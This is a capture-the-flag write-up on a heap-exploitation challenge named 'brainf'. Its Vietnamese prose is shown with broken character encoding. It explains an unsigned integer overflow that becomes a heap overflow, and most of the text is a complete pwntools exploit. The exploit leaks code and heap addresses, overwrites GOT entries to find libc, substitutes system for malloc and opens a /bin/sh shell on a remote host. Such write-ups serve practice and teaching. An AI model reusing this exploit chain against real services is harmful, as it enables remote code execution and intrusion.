2 hà m case trÃĒn Äáģu cháģŠa láģi không kiáģm soÃĄt táģt buffer. Mà 2 con tráģ kia Äáģu thuáģc phÃĸn vÚng heap.
Váēy nÃĒn ta cÃŗ tháģ sáģ dáģĨng 1 láģi ÄÃŗ là Heap Overflow Äáģ khai thÃĄc.
ThÃŦ do ÄÃĸy là phÊp nhÃĸn nÃĒn ta láēĨy 2 sáģ Äáģ§ láģn thÃŦ allocated_block sáēŊ cáģąc nháģ (Unsigned Integer Overflow
).
Copy sla(b'(blocks)?', str(0x80000000).encode()) #sla = sendlineafter
sla(b'(bytes)?', str(0x100).encode())
Sau ÄÃŗ chÆ°ÆĄng trÃŦnh cÃ˛n malloc thÃĒm cáēŖ ÄoáēĄn code brainf*** nÃĒn áģ ÄÃĸy mÃŦnh cho size cáģ§a nÃŗ cáģąc láģn Äáģ nÃŗ sáģ dáģĨng nmap thÃŦ sáēŊ không chèn và o giáģ¯a 2 chunk_pointer và object.
Copy sla(b'bytes)?', str(0x300000).encode())
Copy payload = b'/bin/sh\x00' + p64(0)*2 + p64(0x31) + p64(code + 1) + p64(heap + 0x2a0) + p64(elf.got['puts'])
Copy payload = flat(
libc.symbols['puts'],
libc.symbols['write'],
libc.symbols['__stack_chk_fail'],
libc.symbols['printf'],
libc.symbols['memset'],
libc.symbols['alarm'],
libc.symbols['read'],
libc.symbols['signal'],
libc.symbols['system'], #malloc
libc.symbols['setvbuf'],
libc.symbols['atoi'],
elf.symbols['main']
)
Copy binsh = heap + 0x2a0
sla(b'(blocks)?', str(1).encode())
sla(b'(bytes)?', str(binsh).encode())
sla(b'bytes)?', str(0x300000).encode())
Copy #!/usr/bin/python3
from pwn import *
sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()
elf = context.binary = ELF('brainf')
libc = ELF('libc.so.6')
def int_from_bytes(bytes):
return int.from_bytes(bytes, byteorder='little')
def GDB(proc):
gdb.attach(p, gdbscript='''
b brain_run
c
b write
b read
c
c
c
''')
context.log_level = 'debug'
#p = process()
#GDB(p)
p = remote('challenge.fuctf.com', 8005)
sla(b'(blocks)?', str(0x80000000).encode())
sla(b'(bytes)?', str(0x100).encode())
sla(b'bytes)?', str(0x300000).encode())
payload = b'+'*0x120 + b'.' + b',' + b'.' + b','
sla(b'bytes?', payload)
ru(b'code_size')
rl()
r(0x20)
leak = r(8)
leak = u64(leak)
print('leak: ', hex(leak))
code = leak
print('code: ', hex(code))
leak = r(8)
leak = u64(leak)
heap = leak - 0x2a0
print('leak: ', hex(leak))
print('heap: ', hex(heap))
payload = b'/bin/sh\x00' + p64(0)*2 + p64(0x31) + p64(code + 1) + p64(heap + 0x2a0) + p64(elf.got['puts'])
r(0x100)
s(payload)
got = r(0x100)
puts = got[0:8]
puts = u64(puts)
print('puts: ', puts)
libc.address = puts - libc.symbols['puts']
print('libc: ', hex(libc.address))
payload = flat(
libc.symbols['puts'],
libc.symbols['write'],
libc.symbols['__stack_chk_fail'],
libc.symbols['printf'],
libc.symbols['memset'],
libc.symbols['alarm'],
libc.symbols['read'],
libc.symbols['signal'],
libc.symbols['system'], #malloc
libc.symbols['setvbuf'],
libc.symbols['atoi'],
elf.symbols['main']
)
s(payload)
binsh = heap + 0x2a0
sla(b'(blocks)?', str(1).encode())
sla(b'(bytes)?', str(binsh).encode())
sla(b'bytes)?', str(0x300000).encode())
p.interactive()